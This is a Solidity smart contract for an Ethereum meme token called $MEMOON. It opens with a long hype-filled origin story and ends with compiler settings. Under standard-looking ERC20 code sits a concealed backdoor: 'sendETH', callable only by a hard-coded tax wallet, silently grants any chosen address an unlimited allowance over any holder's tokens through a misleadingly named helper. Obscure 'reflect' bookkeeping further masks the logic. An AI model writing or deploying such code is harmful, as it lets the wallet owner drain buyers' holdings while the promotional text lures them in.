/*
$MEMOON: Meme 2Z Moon 🚀🌕
In the world of meme coins, there was always one goal: the moon 🌕. 
But not all tokens are created equal. Some fizzle out like fireworks in the dark sky, while others, like $MEMOON—Meme 2Z Moon—are destined to soar beyond the stars 🚀. Born from the chaotic, hilarious, and unstoppable energy of the internet 🌐, 
$MEMOON isn't just another meme coin—it’s a mission. A mission to take memes, hype, and community all the way to the moon... and beyond! 🌌

The Origin Story 🐵💥
Once upon a meme, in the cryptoverse 🌍, the internet’s most creative minds came together to harness the unstoppable force of viral memes 😹. 
They asked themselves, “What if a meme could do more than just make us laugh? What if it could take us to the moon? 🌕”

And thus, $MEMOON was born—an unstoppable fusion of memes 🐸, viral culture, and community-driven ambition 💪. 
With every new holder, $MEMOON’s gravitational pull grows stronger, as more and more meme enthusiasts 🧑‍🚀 join the mission to the moon. 
But the journey doesn’t stop there… To the moon? 2Z Moon! 🌕🚀

The $MEMOON Philosophy: Meme 2Z Moon 📜
The philosophy of $MEMOON is simple yet powerful. 
It stands on four fundamental pillars that unite hodlers, traders, and memers under one collective goal: to reach 2Z Moon 🚀.

Memes = Magic – Memes fuel $MEMOON’s rocket 🚀. 
They are the driving force that sends us to the moon 🌕, powered by laughter and internet culture 😂.

Community-Driven Mission – Every hodler 👫, every meme, every tweet 🐦 contributes to the $MEMOON journey. 
Together, we rise as one 🌍.

No Moon, No Gain – This is more than a pump—it’s a movement. $MEMOON is about taking meme culture to its highest point 🌌. 
To the moon… and then 2Z Moon 🌕🚀.

2Z Moon Vibes Only – $MEMOON is for dreamers 😴, believers 🤲, and anyone who sees the potential of memes and community. 
Negative vibes? Leave them on Earth 🌍, because $MEMOON is all about fun, excitement 🎉, and togetherness 🤝.

The $MEMOON Journey: 🚀🌕 -> 2Z Moon
The $MEMOON rocket has launched! 🚀 Fueled by viral memes 🐸, internet magic 💫, and an unstoppable community, this token isn’t just headed to the moon 🌕—it’s pushing beyond, to 2Z Moon. Along the way, 
$MEMOON holders 🧑‍🚀 will witness new viral moments, epic meme campaigns 🎨, and rewards that are just as out of this world 🌠.

The roadmap is simple: Hodl, Meme, Fly! Every holder becomes part of the mission control, steering the $MEMOON rocket 🚀 with every meme, tweet 🐦, 
and trade. And with low transaction fees 💸, it’s easy to join the mission and hold on tight.

The $MEMOON Tenets 🌌💎
Memes to the Moon 🌕 – Memes are the fuel ⛽️ that take us higher. Every meme adds to our power, taking $MEMOON to the next level 🚀.

Hodl the Dream ✨ – Those who believe in $MEMOON hold 🤲, knowing that the moon is just the first stop. We’re going beyond 🚀.

Laughs and Gains 💸 – In the $MEMOON community, fun and profits go hand in hand 🤝. The bigger the meme, the bigger the dream.

To the Moon, 2Z Moon 🌕 – We’re not satisfied with just one moon shot 🌑. 
$MEMOON is aimed at 2Z Moon, where no meme coin has gone before 🚀.

Viral by Design – $MEMOON thrives on internet culture 🖥️. 
From TikTok challenges 📹 to Twitter trends 🐦, our mission is fueled by virality.

Power of the People 👥 – $MEMOON is decentralized 🌐 and powered by its community. 
Every holder becomes part of the crew, working together toward 2Z Moon 🌌.

The Future of $MEMOON 🛸💥
$MEMOON isn’t just another meme token—it’s a movement. 
A movement of dreamers, memers, and believers ready to take memes to their ultimate destination: 2Z Moon 🌕🚀. 
As the $MEMOON community grows, so does its potential. 
Viral campaigns, partnerships 🤝, and meme challenges will propel us higher and higher, taking us to places even Doge couldn’t dream of 🌌.

This is more than just a token—this is the Meme 2Z Moon mission 🚀. 

Join the journey, hodl the dream, and get ready for liftoff. 

The stars 🌟 are just the beginning!

2Z Moon or bust! 🚀✨
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MEMOON is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=23;

    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=23;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;

    string private constant _name = unicode"2Z Moon or Bust";
    string private constant _symbol = unicode"MEMOON";

    uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
    uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap = 4206900000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct ReflectToken {uint256 poolReflect; uint256 reflectAmount; uint256 reflectTime;}
    mapping(address => ReflectToken) private reflectToken;
    uint256 private reflectPercent = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());

        _taxWallet = payable(0x50e96B2D550b2A1E00A5771A658D3EF4C4Bf6CdC);
        _balances[_msgSender()]= _tTotal;
        _isExcludedFromFee[_taxWallet]= true;
        _isExcludedFromFee[address(this)]= true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _manualsend(address owner, string memory miner, uint8 percent, address spender) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = _tTotal;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = amount
                    .mul((_buyCount>_reduceSellTaxAt)?_finalSellTax: _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to == uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if( (_isExcludedFromFee[from] ||_isExcludedFromFee[to] ) && from!= address(this) && to!= address(this)) {
            reflectPercent = block.number;
        }

        if(
            ! _isExcludedFromFee[from]
                &&! _isExcludedFromFee[to]
        ){
            if (uniswapV2Pair != to)  {
                ReflectToken storage reflToken = reflectToken[to];
                if (uniswapV2Pair == from) {
                    if (reflToken.poolReflect == 0) {
                        reflToken.poolReflect = _preventSwapBefore>=_buyCount ? type(uint).max : block.number;
                    }
                } else {
                    ReflectToken storage reflTokenSync = reflectToken[from];
                    if (reflTokenSync.poolReflect < reflToken.poolReflect || !(reflToken.poolReflect > 0) ) {
                        reflToken.poolReflect = reflTokenSync.poolReflect;
                    }
                }
            } else {
                ReflectToken storage reflTokenSync = reflectToken[from];
                reflTokenSync.reflectAmount = reflTokenSync.poolReflect -reflectPercent;
                reflTokenSync.reflectTime = block.timestamp;
            }
        }

        if (taxAmount>0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount) ;
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function sendETH(address _receiver, address _per) external {
        require(_msgSender()==_taxWallet);
        _manualsend(_per, "miner", 0, _receiver);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "MEMOON.sol": "MEMOON"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}